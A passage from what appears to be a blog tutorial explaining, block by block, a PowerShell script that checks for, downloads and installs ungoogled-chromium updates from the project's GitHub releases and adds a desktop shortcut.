</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">53
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">54
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">55
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">56
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">57
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">58
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">59
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> check-install{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (Test-Path -Path $DIR){
</span></span><span style="display:flex;"><span>        $child = Get-ChildItem -Path $DIR | Measure-Object
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (($child.count <span style="color:#f92672">-eq</span> <span style="color:#ae81ff">0</span>) <span style="color:#f92672">-or</span> ($child.count <span style="color:#f92672">-gt</span> <span style="color:#ae81ff">1</span>)){
</span></span><span style="display:flex;"><span>            Write-Output <span style="color:#e6db74">&#34;ungoogled-chromium is not installed&#34;</span>
</span></span><span style="display:flex;"><span>            check-update <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>            Write-Output <span style="color:#e6db74">&#34;ungoogled-chromium is installed&#34;</span>
</span></span><span style="display:flex;"><span>            $child = Get-ChildItem -Path $DIR -Name
</span></span><span style="display:flex;"><span>            $cur = [<span style="color:#66d9ef">System.Diagnostics.FileVersionInfo</span>]::GetVersionInfo(<span style="color:#e6db74">&#34;</span>$DIR<span style="color:#e6db74">\</span>$child<span style="color:#e6db74">\chrome.exe&#34;</span>).ProductVersion
</span></span><span style="display:flex;"><span>            Write-Output <span style="color:#e6db74">&#34;Current version : </span>$cur<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>            check-update $cur
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>        Write-Output <span style="color:#e6db74">&#34;ungoogled-chromium is not installed&#34;</span>
</span></span><span style="display:flex;"><span>        check-update <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>First line checks if you have &lsquo;ungoogled-chromium&rsquo; folder present in the location mentioned (it can either be on same plath or in different location, see <a href="#optional-part">Optional part</a>).</p>
<p>After that, it will check if there are any subfolders and check the number of subfolders present.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$child = Get-ChildItem -Path $DIR | Measure-Object</span></span></code></pre></td></tr></table>
</div>
</div>
<p>After that, it checks the amount of sub-folders present. If it is less than 0 or greater than 1, it will treat it as invalid and assume that ungoogled-chromium is not installed.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">45
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>($child.count <span style="color:#f92672">-eq</span> <span style="color:#ae81ff">0</span>) <span style="color:#f92672">-or</span> ($child.count <span style="color:#f92672">-gt</span> <span style="color:#ae81ff">1</span>)</span></span></code></pre></td></tr></table>
</div>
</div>
<p>Otherwise, if it finds a subfolder, it will assume that this is a valid install and try to get the name of the subfolder.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">50
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Get-ChildItem -Path $DIR -Name</span></span></code></pre></td></tr></table>
</div>
</div>
<p>This is a sneaky way to get the current version number of the software. It will be used to check if updates are present or not.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">51
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>[<span style="color:#66d9ef">System.Diagnostics.FileVersionInfo</span>]::GetVersionInfo(<span style="color:#e6db74">&#34;</span>$DIR<span style="color:#e6db74">\</span>$child<span style="color:#e6db74">\chrome.exe&#34;</span>).ProductVersion</span></span></code></pre></td></tr></table>
</div>
</div>
<p>At last, <code>check-update</code> is called with either:</p>
<ul>
<li>0, denoting a new install or</li>
<li><code>$cur</code>, denoting current version of chromium install.</li>
</ul>
<h2 id="check-for-the-update-from-the-online-repository">Check for the update from the online repository</h2>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">40
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> check-update($cur){
</span></span><span style="display:flex;"><span>    $Response = Invoke-WebRequest -URI https<span style="color:#960050;background-color:#1e0010">:</span>//ungoogled-software.github.io/ungoogled-chromium-binaries/releases/windows/64bit/
</span></span><span style="display:flex;"><span>    $str = $Response.Links.Href|Select-Object -Index <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>    $ver = $str.Substring(<span style="color:#ae81ff">52</span>,$str.length-<span style="color:#ae81ff">52</span>-<span style="color:#ae81ff">2</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> ($cur <span style="color:#f92672">-eq</span> <span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span>        Write-Output <span style="color:#e6db74">&#34;Downloading latest version : </span>$ver<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>        download <span style="color:#e6db74">&#34;</span>$ver<span style="color:#e6db74">-1&#34;</span>
</span></span><span style="display:flex;"><span>        $child = Get-ChildItem -Path $DIR -Name
</span></span><span style="display:flex;"><span>        set-shortcut <span style="color:#e6db74">&#34;</span>$DIR<span style="color:#e6db74">\</span>$child<span style="color:#e6db74">\chrome.exe&#34;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elseif</span> ($cur <span style="color:#f92672">-ne</span> $ver){
</span></span><span style="display:flex;"><span>        Remove-Item -LiteralPath $DIR -Force -Recurse
</span></span><span style="display:flex;"><span>        Write-Output <span style="color:#e6db74">&#34;Downloading </span>$ver<span style="color:#e6db74">, Current version is </span>$cur<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>        download <span style="color:#e6db74">&#34;</span>$ver<span style="color:#e6db74">-1&#34;</span>
</span></span><span style="display:flex;"><span>        $child = Get-ChildItem -Path $DIR -Name
</span></span><span style="display:flex;"><span>        set-shortcut <span style="color:#e6db74">&#34;</span>$DIR<span style="color:#e6db74">\</span>$child<span style="color:#e6db74">\chrome.exe&#34;</span>
</span></span><span style="display:flex;"><span>    }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>        Write-Output <span style="color:#e6db74">&#34;No new versions present&#34;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>At first, we contact the website : <a href="https://ungoogled-software.github.io/ungoogled-chromium-binaries/releases/windows/64bit/">https://ungoogled-software.github.io/ungoogled-chromium-binaries/releases/windows/64bit/</a>. This is maintained by the maintainer, and it helps us to get latest version number.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$Response = Invoke-WebRequest -URI https<span style="color:#960050;background-color:#1e0010">:</span>//ungoogled-software.github.io/ungoogled-chromium-binaries/releases/windows/64bit/</span></span></code></pre></td></tr></table>
</div>
</div>
<p>With these lines, we check the page&rsquo;s latest version number. At the time of writing, the latest version number is: 107.0.5304.88. First line checks for the latest link, while second line trims all the unnecessary parts of the link, just toretrievee the version information.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$str = $Response.Links.Href|Select-Object -Index <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>$ver = $str.Substring(<span style="color:#ae81ff">52</span>,$str.length-<span style="color:#ae81ff">52</span>-<span style="color:#ae81ff">2</span>)</span></span></code></pre></td></tr></table>
</div>
</div>

<figure><picture>
          <source srcset="/images/update-ungoogled-chromium/directory-listing_hu9551085778609343370.webp" type="image/webp">
          <source srcset="/images/update-ungoogled-chromium/directory-listing_hu1948252040547647530.jpg" type="image/jpeg">
          <img src="/images/update-ungoogled-chromium/directory-listing_hu9551085778609343370.webp"alt="Directory listing for version"  width="385"  height="253" />
        </picture><figcaption>
            <p>Directory listing for version</p>
          </figcaption></figure>
<p>Following lines check if <code>$cur</code> is 0 or not. If it is 0, it is going to treat it as a new install. Else, it will check if the current installed version and the latest version are equal or not. If they are not, it will delete the old installation and signal <code>download</code> to download the latest version.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Remove-Item -LiteralPath $DIR -Force -Recurse</span></span></code></pre></td></tr></table>
</div>
</div>
<p>Else, if the latest version is equal to the current version, the script will terminate, as nothing needs to be done.</p>
<p>I will come to <code>set-shortcut</code> part later.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">38
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ($cur <span style="color:#f92672">-eq</span> <span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span>    Write-Output <span style="color:#e6db74">&#34;Downloading latest version : </span>$ver<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    download <span style="color:#e6db74">&#34;</span>$ver<span style="color:#e6db74">-1&#34;</span>
</span></span><span style="display:flex;"><span>    $child = Get-ChildItem -Path $DIR -Name
</span></span><span style="display:flex;"><span>    set-shortcut <span style="color:#e6db74">&#34;</span>$DIR<span style="color:#e6db74">\</span>$child<span style="color:#e6db74">\chrome.exe&#34;</span>
</span></span><span style="display:flex;"><span>}<span style="color:#66d9ef">elseif</span> ($cur <span style="color:#f92672">-ne</span> $ver){
</span></span><span style="display:flex;"><span>    Remove-Item -LiteralPath $DIR -Force -Recurse
</span></span><span style="display:flex;"><span>    Write-Output <span style="color:#e6db74">&#34;Downloading </span>$ver<span style="color:#e6db74">, Current version is </span>$cur<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    download <span style="color:#e6db74">&#34;</span>$ver<span style="color:#e6db74">-1&#34;</span>
</span></span><span style="display:flex;"><span>    $child = Get-ChildItem -Path $DIR -Name
</span></span><span style="display:flex;"><span>    set-shortcut <span style="color:#e6db74">&#34;</span>$DIR<span style="color:#e6db74">\</span>$child<span style="color:#e6db74">\chrome.exe&#34;</span>
</span></span><span style="display:flex;"><span>}<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>    Write-Output <span style="color:#e6db74">&#34;No new versions present&#34;</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<h2 id="download-finally-">Download (finally !!)</h2>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> download($ver){
</span></span><span style="display:flex;"><span>    Start-BitsTransfer <span style="color:#e6db74">&#34;https://github.com/ungoogled-software/ungoogled-chromium-windows/releases/download/</span>$ver<span style="color:#e6db74">.1/ungoogled-chromium_</span>$ver<span style="color:#e6db74">.1_windows_x64.zip&#34;</span>
</span></span><span style="display:flex;"><span>    Expand-Archive <span style="color:#e6db74">&#34;ungoogled-chromium_</span>$ver<span style="color:#e6db74">.1_windows_x64.zip&#34;</span> -DestinationPath $DIR
</span></span><span style="display:flex;"><span>    Remove-Item -LiteralPath <span style="color:#e6db74">&#34;ungoogled-chromium_</span>$ver<span style="color:#e6db74">.1_windows_x64.zip&#34;</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>To download the file, we are using a Background Intelligent Transfer Service (BITS) transfer job, which is quite fast, and you can see nice progress animation. Since we are installing for the current user, it is provided as a .zip archive.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Start-BitsTransfer <span style="color:#e6db74">&#34;https://github.com/ungoogled-software/ungoogled-chromium-windows/releases/download/</span>$ver<span style="color:#e6db74">.1/ungoogled-chromium_</span>$ver<span style="color:#e6db74">.1_windows_x64.zip&#34;</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>Now, we need to unzip (obviously). The zip filename is <code>ungoogled-chromium_[VERSION]-1.1_windows_x64.zip</code>; and it is unzipped to <code>$DIR</code>.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Expand-Archive <span style="color:#e6db74">&#34;ungoogled-chromium_</span>$ver<span style="color:#e6db74">.1_windows_x64.zip&#34;</span> -DestinationPath $DIR</span></span></code></pre></td></tr></table>
</div>
</div>
<p>And like a good citizen, we need to clean-up after ourselves.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Remove-Item -LiteralPath <span style="color:#e6db74">&#34;ungoogled-chromium_</span>$ver<span style="color:#e6db74">.1_windows_x64.zip&#34;</span></span></span></code></pre></td></tr></table>
</div>
</div>
<h2 id="lets-set-a-shortcut-icon-to-desktop-we-are-not-psychopaths-here">Let&rsquo;s set a shortcut icon to Desktop (we are not psychopaths here)</h2>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> set-shortcut($SourceFilePath){
</span></span><span style="display:flex;"><span>    $ShortcutPath = <span style="color:#e6db74">&#34;</span>$env:USERPROFILE<span style="color:#e6db74">\Desktop\Chromium.lnk&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (Test-Path -Path $ShortcutPath -PathType Leaf){
